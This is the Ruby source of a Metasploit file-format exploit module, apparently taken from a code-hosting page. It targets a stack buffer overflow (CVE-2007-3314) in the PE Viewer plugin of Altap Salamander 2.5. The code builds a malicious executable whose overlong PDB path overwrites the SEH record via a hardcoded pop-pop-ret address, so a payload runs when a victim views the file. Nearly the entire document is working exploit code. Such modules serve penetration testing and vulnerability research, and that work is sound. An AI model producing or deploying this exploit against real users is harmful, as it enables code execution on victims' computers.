80 lines
2.2 KiB
Ruby
80 lines
2.2 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class MetasploitModule < Msf::Exploit::Remote
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Rank = GoodRanking
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include Msf::Exploit::FILEFORMAT
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include Msf::Exploit::Seh
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Altap Salamander 2.5 PE Viewer Buffer Overflow',
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'Description' => %q{
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This module exploits a buffer overflow in Altap Salamander <= v2.5.
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By creating a malicious file and convincing a user to view the file with
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the Portable Executable Viewer plugin within a vulnerable version of
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Salamander, the PDB file string is copied onto the stack and the
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SEH can be overwritten.
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},
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'License' => MSF_LICENSE,
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'Author' => [ 'patrick' ],
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'References' =>
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[
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[ 'CVE', '2007-3314' ],
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[ 'BID', '24557' ],
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[ 'OSVDB', '37579' ],
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[ 'URL', 'http://vuln.sg/salamander25-en.html' ],
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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'DisablePayloadHandler' => 'true',
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},
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'Payload' =>
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{
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'Space' => 1024,
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'BadChars' => "\x00\x0d\x0a=:\\/%$^&*",
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'StackAdjustment' => -3500,
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Universal Salamander 2.5', { 'Ret' => 0x23920b59 } ], # pop ebx; pop eax; ret salrtl.dll
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],
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'Privileged' => false,
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'DisclosureDate' => 'Jun 19 2007',
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('FILENAME', [ false, 'The file name.', 'msf-salamander-pdb.exe'])
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], self.class)
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end
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def exploit
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seh = generate_seh_payload(target.ret)
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# load the static pdb file beginning
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path = File.join(Msf::Config.data_directory, "exploits", "CVE-2007-3314.dat")
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fd = File.open(path, "rb")
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sploit = fd.read(fd.stat.size)
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fd.close
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sploit << rand_text_alphanumeric(1098) + seh
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sploit << ".pdb"
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print_status("Creating '#{datastore['FILENAME']}' file ...")
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file_create(sploit)
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end
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end
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